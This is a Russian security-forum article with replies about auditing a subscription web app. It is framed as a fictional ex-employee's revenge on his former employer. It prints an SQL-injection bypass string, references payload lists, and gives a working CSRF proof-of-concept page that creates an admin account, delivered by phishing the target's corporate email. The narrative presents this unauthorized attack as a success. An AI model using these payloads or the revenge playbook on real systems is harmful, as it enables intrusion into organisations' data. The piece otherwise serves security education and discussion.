• Курсы Академии Кодебай, стартующие в мае - июне, от команды The Codeby

    1. Цифровая криминалистика и реагирование на инциденты
    2. ОС Linux (DFIR) Старт: 16 мая
    3. Анализ фишинговых атак Старт: 16 мая Устройства для тестирования на проникновение Старт: 16 мая

    Скидки до 10%

    Полный список ближайших курсов ...

Статья Аудит веб-приложения. Уязвимость с CSRF

csrf_hacker.jpeg

ДИСКЛЕЙМЕР
Данные рукописи являются полным вымыслом автора. Любые совпадения с реальными людьми или уязвимостями — чистая случайность.
Информация предоставлена только для образовательных целей. Любое повторение прочитанного в реальном мире, приведёт вас к неминуемым проблемам с законом.

Лирическое отступление
Вавилен был доволен своим рабочем местом в конторе. Он зарабатывал деньги себе и своему начальству, которое предоставляло для этого инфраструктуру. Но в один момент, начальство, очередной раз заработав на труде Вавилена, решает с ним не делиться. Они теряют ценного сотрудника и получают обманутого человека, который жаждет возмездия.

Постановка цели
После ухода из конторы, все наши права на доступ к инфраструктуре были отозваны. Основные ресурсы бизнеса располагаются в веб-приложении, которое обрабатывает массивы данных. Компрометация веб-приложения позволит заполучить всю нужную информацию. В истории нашего браузера остался IP адрес сервера.

Изучение цели
Чтобы не привлекать внимания жертвы, было принято решение развернуть аналогичный софт в лаборатории. ПО предоставляется по подписке. Есть вариант с семидневным пробным периодом с предоставлением VPS. Очень удобно для наших тестов. Использовал 10 минутную почту, зарегистрировался, установил софт, установил пробную лицензию. Можно работать.

Начальная страница предоставляет собой стандартную форму логина.

Изучаю механизм аутентификации. При логе происходит отправка POST запроса в application/json формате.

login.png


JWT
При успешном входе ответом выдаёт куку с JWT вида content=AA.BBB.C. Через jwt[.]io просматриваю значения JSON Web Tokens. Тут зашифрованы поля login и password. В login используется хэш MD5, в password хэш blowfish. Путём теста прихожу к выводу, что значения зашифрованы с солью. Если бы мы имели чёткое представление как происходит шифрование, мы могли бы подделать слабый JWT.

JWT_analys.png



Стандартные доступы
Приложение выдало стандартный логин admin. Пароль генерируется длиной 12 символов, крайне стойкий для подбора. Если бы приложение выдало стандартный пароль или если бы он был слабый, мы могли бы его подобрать.

Взлом Wi-Fi для перехвата трафика
Примечательно, что по умолчанию подключение происходит по HTTP. Теоретически возможно взломать Wi-Fi роутер и перехватить трафик в plain text, но не наш случай, т.к. пользователи используют USB мобильные модемы.

Слабая защита от грубой силы
Проверяю защиту от брутфорса admin/admin admin/password ... — через 5 попыток блокировка по IP. Попробовал трюк с обходом блокировки по IP. Добавил в Head заголовок типа X-Forwarded-For, сервер не реагирует. Такое обходить будет проблематично, без использования пакета прокси или написание софта.

Публичные уязвимости
Что может быть легче, чем загуглить уязвимость приложения. Поиск дал результаты восьмилетней давности. Форму логина можно обойти классической SQL инъекцией в куках.
content=text%27%20OR%20%271%27%3D%271. При декодировании с URL получаем content=text' OR '1'='1. Как интересно. Дыра была давно залатана.

При помощи BurpSuite Intruder пытаюсь подобрать пейлоуд, без успешно.
github[.]com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection/Intruder/Auth_Bypass.txt

После многочисленных попыток найти слабое место в форме логина, решено проверить внутреннею часть платформы на возможные уязвимости.
Давайте перечислим возможные векторы атак. Атака на серверную часть и атака на клиентскую часть. Если с первым не получается, проверим второй список.

XSS
ПО принимала различные GET параметры клиентов, а после отображала массив данных в дашборде. Отправка и дальнейший просмотр пейлоудов не принёс успеха github[.]com/payloadbox/xss-payload-list. При удачной атаке, мы могли украсть куку пользователя.

CSRF
Что насчёт CSRF? По мне так крайне скучная уязвимость, до боли банальная. Если пользователь с легитимной сессией перейдет по ссылке, то при срабатывании скрипта на evil.com отправится POST запрос с подставкой куки пользователя.
Что мы видим. Точнее не видим. На критическое действие, как создание админского аккаунта — 0 механизмов защиты от CSRF. Никакого токена или случайности.
При создании запроса на создание админки идёт POST запрос /admin/?object=account.create с телом:

burp.png


С PoC мне пришлось повозиться, т.к. этот POST запрос формата application/json имеет свои тонкости.
HTML:
<html>
<body>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
<form id="myform" enctype="text/plain" action="http://SERVER_IP/admin/?object=account.create" method="POST">
<input id="json" type="hidden" name='json' value='"}'>
</form>
<script>

$(document).ready(function() {
$("#json").attr("name",'{"type":"ADMIN","preferences":{"timezone":"EST","language":"ca"},"login":"hacked_admin","new_password":"123=","new_password_confirmation":"123');
$("#myform").submit();});

</script>
</body>
</html>

Такой вод получился PoC. Jquery нужен для срабатывания скрипта на заднем фоне. Выглядит битым, но именно такая вариация работала после всех тестов.

Доставка
Пейлоуд был протестирован, осталось чтобы пользователь перешел по ссылке. По странным ссылкам пользователь не будет переходить, тем более что-то скачивать. Был выбран путь покупки домена под рабочую тематику. Был накинут сайт, внедрен скрипт, проверен.
Делаем рабочее предложение на корпоративную почту, делимся нашим рабочим сайтом с нагрузкой — воуля, успешная атака. После перехода пользователя по ссылке, на заднем фоне срабатывает script. Формируется POST запрос на сервер жертвы, т. к. жертва залогинена, подставляются легитимные куки.

Защита
В первую очередь, разработчики могли этого избежать, если бы знали, что это такое. Понимание веба и взаимодействие пользователей важный атрибут при безопасной разработке. Приложение нуждается в доработке путём внедрения защитных механизмов от CSRF. Продукт на рынке с десятых годов. Ребята могли и аудит приложения заказать :)

Я остался довольным своей работой.
 
Последнее редактирование модератором:

f22

Codeby Academy
Gold Team
05.05.2019
1 841
225
BIT
1 047
Чтобы не привлекать внимания жертвы, было принято решение развернуть аналогичный софт в лаборатории.
Взлом Wi-Fi для перехвата трафика
Примечательно, что по умолчанию подключение происходит по HTTP. Теоретически возможно взломать Wi-Fi роутер и перехватить трафик в plain text, но не наш случай, т.к. пользователи используют USB мобильные модемы.
Взломать роутер в собственной лаборатории?
Зачем нужно ломать роутер, если можно установить Wireshark или написать собственный сниффер?

Да, и что можно было найти в своём трафике, если требуются кукисы или учетка админа?


Слабая защита от грубой силы
Проверяю защиту от брутфорса admin/admin admin/password ... — через 5 попыток блокировка по IP. Попробовал трюк с обходом блокировки по IP. Добавил в Head заголовок типа X-Forwarded-For, сервер не реагирует. Такое обходить будет проблематично, без использования пакета прокси или написание софта.
Учитывая, что пароль оказался "PASSWORD", брутфорс тут не такая уже и плохая идея.
Поднять tor, proxychains и написать банальный bash script, отправляющий по 5 запросов и меняющий IP не составит большого труда.
Как минимум можно было поставить такое задание в фон


перехватить трафик в plain text,
Есть вариант с семидневным пробным периодом с предоставлением VPS. Очень удобно для наших тестов.
какой же тут будет plain text, если подключение идёт через VPS?


"new_password":"123=","new_password_confirmation":"123'
Как же будет создана админка, если переданный пароль и его подтверждение разные?
Да и кавычки должны быть парными... такой запрос, похоже, кроме ошибки ничего не создаст

При создании запроса на создание админки идёт POST запрос /admin/?object=account.create с телом:
1657505146769.png
А почему адреса-то разные?


Формируется POST запрос на сервер жертвы, т. к. жертва залогинена, подставляются легитимные куки.
При создании запроса на создание админки идёт POST запрос /admin/?object=account.create с телом:
Что-то не совсем понятно, а как пользователь, не являющийся админом, запросит создание админки и мало того, ещё и создаст её?
 

Vavilen

One Level
10.07.2022
3
6
BIT
0
Привет!
У нас есть: реальная цель, где пользователь сидит за свои пк и отправляет запросы на VPS, а так же лабаратория, где можно затестить софт.
Взломать роутер в собственной лаборатории?
Нет, не в собственной. Заметив что в собственной HTTP, разумно предположить, что у реального пользователя тоже HTTP.
какой же тут будет plain text, если подключение идёт через VPS?
Я представляю это так: формируется запрос в локальной сети, который уходит на VPS. В момент передвижения HTTP пакета по сети, его можно перехватить. В открытом виде можно перехватить логин/пароль/куку.
Учитывая, что пароль оказался "PASSWORD", брутфорс тут не такая уже и плохая идея.
бро, это пример. Пароль выдаётся вида q1z8JvsQ9xjyC7FL. На скрине с бурпа - скрин где я отправляю запрос на создание админки я передаю NAME PASSWORD в качестве кредов.
Поднять tor, proxychains и написать банальный bash script, отправляющий по 5 запросов и меняющий IP не составит большого труда.
Как минимум можно было поставить такое задание в фон
Да, именно над таким решением я работал. Но посчитал его нецелесообразным, т.к. стандартный пароль вида q1z8JvsQ9xjyC7FL мне не подобрать.
Как же будет создана админка, если переданный пароль и его подтверждение разные?
Да и кавычки должны быть парными... такой запрос, похоже, кроме ошибки ничего не создаст
Повторюсь: Такой воn получился PoC. Выглядит битым, но именно такая вариация работала после всех тестов. Пароль один 123. Проверяйте в работе.
А почему адреса-то разные?
Потому что был найден баг на проекте, сдан разрабам. Была предпринята попытка изменить код, чтобы его нельзя было идентифицировать. Банальная опечатка, сути не меняет.
Что-то не совсем понятно, а как пользователь, не являющийся админом, запросит создание админки и мало того, ещё и создаст её?
Вот это более менее дельный вопрос. Т.к. атака точечная, мы кидаем ссылку непосредственно админу. На этапе доставке мы пишем на корпоративную почту цели. Конечно, цель должна быть залогинена в браузере + у неё должны быть привилегии админа.
 
Последнее редактирование:
  • Нравится
Реакции: ZuZIK

f22

Codeby Academy
Gold Team
05.05.2019
1 841
225
BIT
1 047
Привет!)
У нас есть: реальная цель, где пользователь сидит за свои пк и отправляет запросы на VPS, а так же лабаратория, где можно затестить софт.
Я представляю это так: формируется запрос в локальной сети, который уходит на VPS. В момент передвижения HTTP пакета по сети, его можно перехватить. В открытом виде можно перехватить логин/пароль/куку.
А что в вашем случае подразумевается под VPS?
Это просто какая-то машина, на которой может работать пользователь?
Или речь идёт о поднятом VPN на VPS?


Нет, не в собственной. Заметив что в собственной HTTP, разумно предположить, что у реального пользователя тоже HTTP.
Чтобы не привлекать внимания жертвы, было принято решение развернуть аналогичный софт в лаборатории.
Ну если лаборатория ваша, то роутер тоже ваш, поэтому повторюсь: зачем нужно ломать роутер, если все данные от лабораторной машины передаются к роутеру по вашей сети (если опять же это не VPN)

бро, это пример. Пароль выдаётся вида q1z8JvsQ9xjyC7FL. На скрине с бурпа - скрин где я отправляю запрос на создание админки я передаю NAME PASSWORD в качестве кредов.
Так надо было и скрин делать с другим паролем )


Если пользователь с легитимной сессией перейдет по ссылке, то при срабатывании скрипта на evil.com отправится POST запрос с подставкой куки пользователя.
Куда логичнее перехватить эти самые кукисы и самому создать пользователя, а ещё проще выполнить нужные действия, подставляя эти самые кукисы.

Повторюсь: Такой воn получился PoC. Выглядит битым, но именно такая вариация работала после всех тестов. Пароль один 123. Проверяйте в работе.
Подобным объяснением можно объяснить всё, что угодно, пруфов-то нет )

Вот только почему же у вас в Burp'e тогда запрос не битый?
Как вы смогли догадаться, что он сработал? Вы этот момент опишите
А если этот ваш запрос сработал, зачем нужно было атаковать пользователя, у вас же уже есть админка?
 
  • Нравится
Реакции: ZuZIK

Vavilen

One Level
10.07.2022
3
6
BIT
0
А что в вашем случае подразумевается под VPS?
Это просто какая-то машина, на которой может работать пользователь?
Или речь идёт о поднятом VPN на VPS?
Под VPS я понимаю: Virtual Private Server, услуга, предоставления вычислительной мощности с публичным айпи. Сервер. На этом сервере поднято веб-приложение. Никакого VPN.
Ну если лаборатория ваша, то роутер тоже ваш, поэтому повторюсь: зачем нужно ломать роутер, если все данные от лабораторной машины передаются к роутеру по вашей сети (если опять же это не VPN)
В данном примере, я обсуждал теоретическую атаку на локальную сеть конторы. От локальной сети жертвы до их "VPS".
Так надо было и скрин делать с другим паролем )
Так это скриншот тестового запроса. Я создал запрос, чтобы перехватить пост запрос на создание акка.
Куда логичнее перехватить эти самые кукисы и самому создать пользователя, а ещё проще выполнить нужные действия, подставляя эти самые кукисы.
Очень интересно. Расскажи в теории, как в данном случае перехватить куки? Вариант с перехватом трафика отпадает. Да, у нас два варианта для достижения цели. Перехват куки для доступа к его админке или создание нового акка.

Подобным объяснением можно объяснить всё, что угодно, пруфов-то нет )
PoC - proof of concept, ну русском доказательство.
Вы можете протестировать мой PoC, увидеть что генерируется правильный запрос. Обратите внимание на закрытие скобки <input id="json" type="hidden" name='json' value='"}'>
Только что поднял HTTP, и сгенерировал пост запрос. Пароль по итогу 123=.
Да я видел, как и вы гору однообразных CSRF PoC. Но я вас уверяю, попробовав своими руками вы убедитесь, что например там прилетает откуда не возьмись символ равно, и PoC не работает. Я вам предлагаею рабочий варинт, который подтверждает мою находку. Ей богу как при сдаче на hackerOne нахожусь :D
1657530367284.png

Вот только почему же у вас в Burp'e тогда запрос не битый?
Как вы смогли догадаться, что он сработал? Вы этот момент опишите
А если этот ваш запрос сработал, зачем нужно было атаковать пользователя, у вас же уже есть админка?
Я догадался что он сработал потому что... я его тестировал...
У меня есть админка в моей тестовой лаборатории, а настоящая цель использует свою личную инфраструктуру.
 
Последнее редактирование:
  • Нравится
Реакции: ZuZIK
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!